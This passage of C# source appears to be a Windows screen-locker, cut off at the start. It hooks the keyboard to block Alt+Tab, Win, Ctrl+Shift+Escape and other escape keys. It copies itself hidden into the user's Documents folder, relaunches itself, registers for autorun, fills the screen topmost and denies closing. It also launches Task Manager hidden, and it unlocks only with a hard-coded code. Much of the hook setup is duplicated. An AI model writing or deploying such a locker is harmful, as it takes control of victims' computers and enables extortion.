{
return
(IntPtr)1;//<Alt>+<Space>
blocking
}
}
return
CallNextHookEx(m_hHook_5, nCode, wParam, lParam);//Go
to next hook
}
//<Control>+<Shift>+<Escape>
blocking
public IntPtr
LowLevelKeyboardHookProc_control_shift_escape(int
nCode, IntPtr wParam, IntPtr lParam)
{
if
(nCode >= 0)//If not alredy captured
{
KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT
if
(objKeyInfo.key == Keys.LControlKey ||
objKeyInfo.key == Keys.RControlKey ||
objKeyInfo.key == Keys.LShiftKey ||
objKeyInfo.key == Keys.RShiftKey ||
objKeyInfo.key == Keys.Escape)
{
return
(IntPtr)1;//<Control>+<Shift>+<Escape>
blocking
}
}
return
CallNextHookEx(m_hHook_6, nCode, wParam, lParam);//Go
to next hook
}
//Delegate
for using hooks
private
delegate IntPtr
LowLevelKeyboardProcDelegate(int nCode, IntPtr
wParam, IntPtr lParam);
//Setting all
hooks
public void SetHook()
{
//Hooks
callbacks by delegate
m_callback = LowLevelKeyboardHookProc_win;
m_callback_1 = LowLevelKeyboardHookProc_alt_tab;
m_callback_2 = LowLevelKeyboardHookProc_ctrl;
m_callback_3 = LowLevelKeyboardHookProc_del;
m_callback_4 = LowLevelKeyboardHookProc_alt;
m_callback_5 = LowLevelKeyboardHookProc_alt_space;
m_callback_6 = LowLevelKeyboardHookProc_control_shift_escape;
m_callback_1 = LowLevelKeyboardHookProc_alt_tab;
m_callback_2 = LowLevelKeyboardHookProc_ctrl;
m_callback_3 = LowLevelKeyboardHookProc_del;
m_callback_4 = LowLevelKeyboardHookProc_alt;
m_callback_5 = LowLevelKeyboardHookProc_alt_space;
m_callback_6 = LowLevelKeyboardHookProc_control_shift_escape;
//Hooks
setting
m_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_1 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_1, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_2 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_2, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_3 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_3, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_4 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_4, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_5 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_5, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_6 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_6, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_1 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_1, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_2 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_2, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_3 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_3, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_4 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_4, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_5 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_5, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_6 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_6, GetModuleHandle(IntPtr.Zero), 0);
}
//Keyboard unhooking
public void Unhook()
{
UnhookWindowsHookEx(m_hHook);
UnhookWindowsHookEx(m_hHook_1);
UnhookWindowsHookEx(m_hHook_2);
UnhookWindowsHookEx(m_hHook_3);
UnhookWindowsHookEx(m_hHook_4);
UnhookWindowsHookEx(m_hHook_5);
UnhookWindowsHookEx(m_hHook_6);
UnhookWindowsHookEx(m_hHook);
UnhookWindowsHookEx(m_hHook_1);
UnhookWindowsHookEx(m_hHook_2);
UnhookWindowsHookEx(m_hHook_3);
UnhookWindowsHookEx(m_hHook_4);
UnhookWindowsHookEx(m_hHook_5);
UnhookWindowsHookEx(m_hHook_6);
}
//Set mouse
event for further mouse emulation
[DllImport("User32.dll")]
static extern void
mouse_event(MouseFlags dwFlags, int dx, int dy, int dwData, UIntPtr
dwExtraInfo);
//Mouse flags
enum
[Flags]
enum MouseFlags
{
Move = 0x0001,
LeftDown = 0x0002,
LeftUp = 0x0004,
RightDown = 0x0008,
RightUp = 0x0010,
Absolute = 0x8000
};
private
void Form1_Load(object
sender, EventArgs e)
{
SetHook();//Hook
for keypressing capturing
TopMost = true;//Make window of this aplication on the top of other
windows
//Making
copy of current programm to "C:\Users\%username\Documents"
//Full
path to current file
string
currentAssembly = Assembly.GetExecutingAssembly().Location;
//Current
filename
string
fileName = Path.GetFileName(currentAssembly);
//Destination folder
string
destinationDirectory = "C:\\Users\\";
//Current
username
string username = Environment.UserName;
//Documents
folder
string
documents = "Documents\\";
//Copied file
string
copy = Path.Combine(destinationDirectory,
username, documents, fileName);
//Flag
for checking if running programm is not a child process
bool
flag = true;
if
(currentAssembly == copy)
{
flag = false;
}
//Copying
to destination folder
if
(!System.IO.File.Exists(copy))
{
File.Copy(currentAssembly,
copy, true);
//Making
copy file hidden, system and reading only
System.IO.File.SetAttributes(copy, System.IO.FileAttributes.ReadOnly);
System.IO.File.SetAttributes(copy, System.IO.FileAttributes.Hidden);
}
else
{
//Making
copy file hidden, system and reading only
System.IO.File.SetAttributes(copy, System.IO.FileAttributes.ReadOnly);
System.IO.File.SetAttributes(copy, System.IO.FileAttributes.Hidden);
}
//Running
the copy of this programm to set it in the autorun only if current
//programm is
not a recently made copy
if
(flag == true)
{
Process.Start(copy);
}
//Coordinates
of new cursor position in the screen
const
int x = 32000;
const
int y = 32000;
//Put
mouse in the screen ceneter and click its right button to prevent ability
//of
taskbar
mouse_event(MouseFlags.Absolute | MouseFlags.Move,
x, y, 0, UIntPtr.Zero);//Move
//cursor
mouse_event(MouseFlags.Absolute | MouseFlags.RightDown,
x, y, 0, UIntPtr.Zero);//
//Push mouse right button
mouse_event(MouseFlags.Absolute | MouseFlags.RightUp,
x, y, 0, UIntPtr.Zero);//
//Release mouse right button
SetAutorunValue(true);//Call function to
put this application to autorun
this.Bounds
= Screen.PrimaryScreen.WorkingArea;//Set form size equal to full
//screen size
this.FormClosing
+= Form1_FormClosing_deny;//Binding addition to the
form
//constructor
Process
p = new Process();//New process
p.StartInfo.WorkingDirectory = Environment.GetFolderPath(Environment.SpecialFolder.System);//Set
working directoty
p.StartInfo.FileName = "taskmgr.exe";//Set
filename for process
p.StartInfo.CreateNoWindow = true;//New window for
starting process
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;//Making
the window for
//process hidden
p.Start();//Start
taskmgr process
this.Focus();//Focus on taskmgr
}
private
void button1_Click(object
sender, EventArgs e)
{
TopMost = true;
string
pass = "309";//Code (key data)
//Checking if
inputed data is equal to key data
if(textBox1.Text
== pass)
{
this.FormClosing
+= Form1_FormClosing_access;//Allow form closing
Unhook();//Hooked keys unhooking
if
(flag == true)
{
Process.GetProcessesByName("taskmgr")[0].Kill();//Kill taskmgr
}
else
{
Process.GetProcessesByName("taskmgr")[1].Kill();//Kill taskmgr
}
Form1.ActiveForm.Close();//Close form
}
//If
inputed data is not equal to key data
else
{
MessageBox.Show("WRONG CODE. TRY AGAIN.");//Message for user
return;//Exit from button1 handler
}
}
}
}